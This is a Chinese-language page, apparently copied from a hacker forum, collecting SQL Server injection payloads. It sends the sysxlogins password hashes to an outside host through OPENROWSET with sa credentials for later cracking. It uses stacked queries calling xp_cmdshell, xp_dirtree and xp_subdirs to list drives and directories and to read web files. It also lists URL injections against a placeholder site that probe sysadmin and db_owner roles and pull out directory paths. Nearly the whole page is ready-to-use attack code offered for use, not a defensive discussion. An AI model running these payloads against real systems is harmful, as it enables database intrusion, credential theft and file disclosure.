SQL旁注精华珍藏版代码
這實(shí)際上是上述復(fù)制數(shù)據(jù)庫(kù)的一個(gè)擴(kuò)展應(yīng)用。登錄密碼的hash存儲(chǔ)于sysxlogins中。方法如下: insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', ...
這實(shí)際上是上述復(fù)制數(shù)據(jù)庫(kù)的一個(gè)擴(kuò)展應(yīng)用。登錄密碼的hash存儲(chǔ)于sysxlogins中。方法如下:
?
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins
?
得到hash之后,就可以進(jìn)行暴力破解。這需要一點(diǎn)運(yùn)氣和大量時(shí)間。
?
遍歷目錄的方法:
?
先創(chuàng)建一個(gè)臨時(shí)表:temp
?
'5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
?
5';insert temp exec master.dbo.xp_availablemedia;-- 獲得當(dāng)前所有驅(qū)動(dòng)器
?
5';insert into temp(id) exec master.dbo.xp_subdirs 'c:/';-- 獲得子目錄列表
?
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';-- 獲得所有子目錄的目錄樹(shù)結(jié)構(gòu),并寸入temp表中
?
5';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:/web/index.asp';-- 查看某個(gè)文件的內(nèi)容
?
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:/';--
?
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:/ *.asp /s/a';--
?
5';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript C:/Inetpub/AdminScripts/adsutil.vbs enum w3svc'
?
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';-- (xp_dirtree適用權(quán)限PUBLIC)
?
寫入表:
?
語(yǔ)句1:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
?
語(yǔ)句2:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
?
語(yǔ)句3:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
?
語(yǔ)句4:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
?
語(yǔ)句5:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
?
語(yǔ)句6:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
?
語(yǔ)句7:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
?
語(yǔ)句8:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
?
語(yǔ)句9:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_MEMBER('db_owner'));--
?
把路徑寫到表中去:
?
_blank>http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id int)-
?
_blank>http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:/'-
?
_blank>http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
?
_blank>http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))-
?
語(yǔ)句:_blank>http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--
?
語(yǔ)句:_blank>http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'e:/web'--
?
語(yǔ)句:_blank>http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs1)-
?
?
本篇文章來(lái)源于 黑客基地-全球最大的中文黑客站 原文鏈接:http://www.hackbase.com/tech/2009-04-17/52294.html
與50位技術(shù)專家面對(duì)面20年技術(shù)見(jiàn)證,附贈(zèng)技術(shù)全景圖總結(jié)
以上是生活随笔為你收集整理的SQL旁注精华珍藏版代码的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 如何搭建Docker私有仓库
- 下一篇: 为AI摄影铺路,第一个大规模的美学质量数